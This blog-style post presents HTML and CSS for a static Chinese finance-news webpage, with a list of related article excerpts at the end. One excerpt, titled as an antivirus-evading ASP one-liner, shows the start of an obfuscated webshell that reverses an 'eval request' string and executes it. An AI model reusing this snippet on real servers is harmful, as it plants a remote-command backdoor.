HTML: 仿写一个财经类静态的网页
要求:仿写一个静态的网页,主要采用HTML+CSS+DIV的布局方式,
新建两个文件:demo.html、demo.css
图片素材:image.zip
demo.html代码如下:
- <!doctype html>
- <html lang="zh-CN">
- <head>
- <meta charset="utf-8">
- <meta name="description" content="this is a web site">
- <meta name="keywords" content="web,site,html,css">
- <title>这是一个静态网页</title>
- <link rel="stylesheet" type="text/css" href="/Users/mac/Desktop/网页项目/css/demo.css">
- </head>
- <body>
- <div id="web_logol">
- <div class="logol_image">
- <img src="/Users/mac/Desktop/网页项目/image/logo.jpg">
- </div>
- <div class="login_regester">
- <img src="/Users/mac/Desktop/网页项目/image/kuang.jpg">
- <form>
- <ul>
- <li><input type="button" name="login" value="登录" onclick="" class="login_btn"></li>
- <li><input type="button" name="regester" value="注册" onclick="" class="regester_btn"></li>
- </ul>
- </form>
- </div>
- </div>
- <div id="web_navi">
- <ul>
- <li><a href="">必读</a></li>
- <li><a href="">市场</a></li>
- <li><a href="">个股</a></li>
- <li><a href="">内参</a></li>
- <li><a href="">新股</a></li>
- <li><a href="">创业板</a></li>
- <li><a href="">股指期货</a></li>
- <li><a href="">中小板</a></li>
- <li><a href="">B股</a></li>
- <li><a href="">环球股市</a></li>
- <li><a href="">港股</a></li>
- <li><a href="">赢家点金</a></li>
- <li><a href="">热点话题</a></li>
- </ul>
- </div>
- <div id="web_headPic">
- <img src="/Users/mac/Desktop/网页项目/image/tupian.jpg">
- </div>
- <div id="web_content">
- <div class="first">
- <div class="top_title">
- <img src="/Users/mac/Desktop/网页项目/image/dian.jpg" alt="小三角角标" class="img1">
- <h4>今日头条</h4>
- <img src="/Users/mac/Desktop/网页项目/image/xian1.jpg" alt="虚线" class="img2">
- </div>
- <div class="mid_content">
- <h3>跨界并购最受捧 四家公司有望成为香饽饽</h3>
- <p>[双重因素引爆军工股 布局三类概念股] [愈4亿大单热捧10股]</p>
- <p>[军工:秋冬暂蛰伏 牛途再蓄势] [次新股成宠儿 基金加仓7股]</p>
- <h3>39公司披露三季报 智能终端多只股报喜</h3>
- <p>[基金三季报 重仓12只股] [保险股三季报前瞻 个股全线飘红]</p>
- <p>[三季暴露牛散踪迹 新近十股] [社保保仓66股 医药遭减持]</p>
- <img src="/Users/mac/Desktop/网页项目/image/xian1.jpg" alt="虚线" class="img2">
- </div>
- <div class="bottom_content">
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>个股机会 | 10月23日公告透露利好:8股有潜力</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>奥飞动漫:加码电影投资 打造衍生渠道 推荐评级</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>阳光电源:业绩符合预期 看好储能 目标上调24元</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>上海凯宝:业绩平稳增长 期待外延发展 推荐评级</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>主力动向 | 多家上市公司高管窗口期违规交易</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>医疗汽车以及新股成宠儿 基金加仓7只股票</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>三季报出炉 基金经理谨慎开袋A浮四季度行情</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>医疗板块跌显防御 公私募调仓买入布局明年</p>
- </div>
- </div>
- </div>
- <div class="second">
- <div class="top_title">
- <img src="/Users/mac/Desktop/网页项目/image/dian.jpg" alt="小三角角标" class="img1">
- <h4>传闻黑幕</h4>
- <a href="">[更多]</a>
- <img src="/Users/mac/Desktop/网页项目/image/xian1.jpg" alt="虚线" class="img3">
- </div>
- <div class="bottom_content">
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月23日上市公司传闻求证</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月23日私募内部重要传闻揭秘</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月22日上司公司传闻求证</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月22日私募内部重要传闻揭秘</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月20日上司公司传闻求证</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月20日私募内部重要传闻揭秘</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>10月17日上司公司传闻求证</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>方正证券投资晨报(2014-10-23)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>浙商证券投资晨报(2014-10-23)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>海通证券投资晨报(2014-10-23)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>世纪证券投资晨报(2014-10-23)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>中金证券投资晨报(2014-10-22)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>华林证券投资晨报(2014-10-22)</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>开源证券投资晨报(2014-10-22)</p>
- </div>
- </div>
- </div>
- <div class="third">
- <div class="top_title">
- <img src="/Users/mac/Desktop/网页项目/image/dian.jpg" alt="小三角角标" class="img1">
- <h4>热点关注</h4>
- <div class="more">
- <img src="/Users/mac/Desktop/网页项目/image/ban.jpg">
- </div>
- </div>
- <div class="bottom_content">
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>政策红利或足部兑现 动力煤价价格持续上涨</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>热点前瞻:从新能源汽车寻找投资机会</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>保险股三季前瞻:费率市场化改革或催</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>欧洲甲乙酮市场价格暴涨 货源趋紧提振国</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>39家公司披露三季度业绩 文化传媒业快</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>在线教育公司领涨美股 油气能源板块受市</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>社保基金三季度持仓66股 医疗板块多遭</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>体育产业:黄金十年开幕</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>甲乙酮价格暴涨50% 行业景气度迎改善契</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>农林牧渔行业专题报告:生猪养殖业库存、</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>银行行业城商行异地扩张,东边亮亮亮西</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>医疗生物行业:突破枷锁,改革在即</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>地产行业:销售降幅略有缓解投资增速或</p>
- </div>
- <div>
- <img src="/Users/mac/Desktop/网页项目/image/dian3.jpg" alt="小图标">
- <p>建材行业:浮玻价格连续两周下滑 工业或</p>
- </div>
- </div>
- </div>
- </div>
- <div id="web_footerPic">
- <img src="/Users/mac/Desktop/网页项目/image/xian5.jpg" alt="边界线">
- <div><h3>预约开户</h3></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_03.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_05.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_07.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_09.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_11.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_13.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_15.jpg"></div>
- <div><img src="/Users/mac/Desktop/网页项目/image/tutu_17.jpg"></div>
- </div>
- <div id="web_footerContent">
- <p>公司地址:深圳市福田区华强路赛格科技园四栋10层1006 客户热线:0755-8839 9099 (粤ICP备12039400号-2)</p>
- <p>信息网络传播视听节目许可证:1909407号 华股财经所载文章、数据仅供参考,使用前请合适,风险自负【风险提示】</p>
- </div>
- </body>
- </html>
demo.css代码如下:
- /*------------------------------------------logol图-----------------------------------------*/
- #web_logol{
- width: 960px;
- height: 60px;
- margin: auto;
- }
- .logol_image{
- float: left;
- }
- .logol_image img{
- height: 60px;
- width: 250px;
- margin-top: 10px;
- }
- .login_regester{
- width: 300px;
- height: 60px;
- background-color: white;
- margin: auto;
- float: right;
- }
- .login_regester img{
- margin:;
- margin-left: 30px;
- margin-top: 40px;
- }
- .login_regester form {
- float: right;
- margin-top: -48px;
- }
- .login_regester form ul{
- list-style: none;
- }
- .login_regester form ul li{
- display: inline-block;
- text-decoration: none;
- }
- .login_btn{
- border-style: none;
- background-color: white;
- color: #999;
- font-size: 13px;
- }
- .regester_btn{
- border-style: none;
- color: red;
- background-color: white;
- font-size: 13px;
- width: 50px;
- border-left: solid 1px #ddd;
- }
- /*------------------------------------------导航栏-----------------------------------------*/
- #web_navi{
- width: 960px;
- height: 40px;
- background-image: url(/Users/mac/Desktop/网页项目/image/tu11.jpg);
- margin: auto;
- }
- #web_navi ul{
- list-style: none;
- }
- #web_navi ul li{
- display: inline-block;
- padding-right: 16px;
- margin:;
- margin-top: 8px;
- border-right: solid 1px black;
- }
- #web_navi ul li a{
- font-size: 14px;
- color: white;
- text-decoration: none;
- padding-left: 9px;
- }
- /*------------------------------------------单图或轮播图-----------------------------------------*/
- #web_headPic{
- width: 960px;
- height: 160px;
- margin: auto;
- margin-top: 5px;
- }
- #web_headPic img{
- width: 960px;
- height: 160px;
- }
- /*------------------------------------------正文-----------------------------------------*/
- #web_content{
- width: 960px;
- height: 400px;
- margin: auto;
- }
- .first{
- float: left;
- width: 349px;
- height: 400px;
- border-left: dashed 1px #aaa;
- }
- .top_title{
- padding-bottom: 5px;
- }
- .img1{
- float: left;
- margin-left: 10px;
- margin-top: 5px;
- }
- .top_title h4{
- font-size: 13px;
- color: rgb(50,76,165);
- margin:;
- margin-left: 30px;
- margin-top: 5px;
- }
- .img2{
- float: left;
- margin-left: -5px;
- padding-top: 5px;
- padding-bottom: 5px;
- }
- .mid_content{
- padding-bottom: 10px;
- }
- .mid_content h3{
- font-size: 16px;
- margin:;
- margin-left: 30px;
- color: rgb(51,51,51);
- padding-top: 10px;
- }
- .mid_content p{
- font-size: 12px;
- color: rgb(114,114,114);
- margin:;
- margin-left: 10px;
- }
- .bottom_content{
- padding-top: 10px;
- padding-left: 10px;
- }
- .bottom_content div img{
- margin:;
- margin:10px;
- margin-top: 8px;
- float: left;
- width: 5px;
- }
- .bottom_content div p{
- margin:;
- margin-top: 5px;
- font-size: 14px;
- color: rgb(114,114,114);
- }
- .second{
- width: 260px;
- height: 400px;
- float: left;
- }
- .top_title a{
- float: right;
- font-size: 13px;
- padding-right: 16px;
- margin:;
- margin-top: -20px;
- }
- .img3{
- float: left;
- margin-left: -5px;
- padding-top: 5px;
- width: 250px;
- }
- .third{
- width: 349px;
- height: 400px;
- float: left;
- border-right: dashed 1px #aaa;
- }
- .more img{
- float: right;
- margin:;
- margin-top: -20px;
- }
- /*------------------------------------------合作商图-----------------------------------------*/
- #web_footerPic{
- width: 960px;
- height: 100px;
- margin: auto;
- }
- #web_footerPic img{
- float: left;
- margin:;
- margin-bottom: 8px;
- }
- #web_footerPic h3{
- padding-right: 10px;
- font-size: 14px;
- margin:;
- margin-top: 8px;
- }
- #web_footerPic div img{
- margin:;
- margin-top: 5px;
- margin-right: 18px;
- padding-left: 2px;
- width: 100px;
- height: 50px;
- }
- /*------------------------------------------授权信息-----------------------------------------*/
- #web_footerContent{
- width: 960px;
- height: 50px;
- margin: auto;
- }
- #web_footerContent p{
- text-align: center;
- font-size: 12px;
- color: #999;
- margin:;
- margin-top: 5px;
- }
效果图如下:
HTML: 仿写一个财经类静态的网页的更多相关文章
- 仿写一个简陋的 IOC/AOP 框架 mini-spring
讲道理,感觉自己有点菜.Spring 源码看不懂,不想强行解释,等多积累些项目经验之后再看吧,但是 Spring 中的控制反转(IOC)和面向切面编程(AOP)思想很重要,为了更好的使用 Spring ...
- 利用JS写一个计算平方的网页
<!-- 计算一个数的平方并显示出来 --> <!DOCTYPE html> <html> <head> <meta charset=" ...
- ASP.NET WebAPI 14 仿写Filter管道
WebAPI中有设计了几种管道(Channel),大概如下:HttpMessageHandler,ActionFilter管道,ExceptionFilter管道.在三种管道中HttpMessageH ...
- 手写一个Redux,深入理解其原理
Redux可是一个大名鼎鼎的库,很多地方都在用,我也用了几年了,今天这篇文章就是自己来实现一个Redux,以便于深入理解他的原理.我们还是老套路,从基本的用法入手,然后自己实现一个Redux来替代源码 ...
- 自制 os 极简教程1:写一个操作系统有多难
为什么叫极简教程呢?听我慢慢说 不知道正在阅读本文的你,是否是因为想自己动手写一个操作系统.我觉得可能每个程序员都有个操作系统梦,或许是想亲自动手写出来一个,或许是想彻底吃透操作系统的知识.不论是为了 ...
- QT学习日记篇-03-仿写一个智能家居界面
课程大纲: <1>让界面漂亮起来,仿写一个智能家居界面 ->第一:给QT工程添加图片 进入下一步: <注意路径和名称一定不能有中文> ...
- 前端练手小项目——网页版qq音乐仿写
qq音乐网页版仿写 一些步骤与注意事项 一开始肯定就是html+css布局和页面了,这段特别耗时间,耐心写完就好了 首先要说一下大致流程: 一定要先布局html!,所以一定要先分析页面布局情况,用不同 ...
- 使用 vue 仿写的一个购物商城
在学习了 vue 之后,决定做一个小练习,仿写了一个有关购物商城的小项目.下面就对项目做一个简单的介绍. 项目源码: github 项目的目录结构 -assets 与项目有关的静态资源,包括 css, ...
- 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”
这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...
随机推荐
- HTML中为何P标签内不可包含块元素?
起因:在做项目时发现原本在DW中无误的代码到了MyEclipse6.0里面却提示N多错误,甚是诧异.于是究其原因,发现块级元素P内是不能嵌套DIV的. 深究:我们先来认识in-line内联元素和blo ...
- Scala:使用Sublime开发Scala
Scala:使用Sublime开发Scala 第一步:[Tools][Build System][New Build System] 第二步:在打开的新文件中输入: { //"cmd&quo ...
- [转] - 如何用QTcpSocket传送图片
我们知道,tcp网络编程发送数据是利用套接字来实现,将要传输的东西转化为数据流再进行传输,为了确保数据传输的准确性和安全性,我们在发送数据流前发送一个quint32的常量来表示所要发送的数据的大小:当 ...
- 免杀ASP一句话
<% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...
- 使用Eclipse自带Web Service插件(Axis1.4)生成Web Service服务端/客户端
创建一个名字为math的Java web工程,并将WSDL文件拷入该工程中 将Axis所需的jar包拷贝至WebRoot\WEB-INF\lib目录下,这些jar包会自动导入math工程中 一,生成W ...
- HDU 4825 Xor Sum(经典01字典树+贪心)
Xor Sum Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 132768/132768 K (Java/Others) Total ...
- CodeForces 86D Powerful array(莫队+优化)
D. Powerful array time limit per test 5 seconds memory limit per test 256 megabytes input standard i ...
- PHP+jQuery 注册模块的改进之三:使用 Smarty3
Smarty3.1X( 最新版本 3.1.19) 比起Smarty2.x修改了不少特性.我把这个模块使用Smarty3.1.18 ( 下载地址http://www.smarty.net/files/S ...
- phpstorm配置svn
phpstorm配置svn 发表于3年前(2013-02-28 10:50) 阅读(8249) | 评论(0) 4人收藏此文章, 我要收藏 赞1 9月19日成都 OSC 源创会正在报名,送机械键盘 ...
- PhpStorm中文教程
PhpStorm中文教程 | 浏览:15972 | 更新:2014-06-10 21:14 1 2 3 4 5 分步阅读 PhpStorm是一款强大的IDE,非常适合于PHP开发人员及前端工程师.提供 ...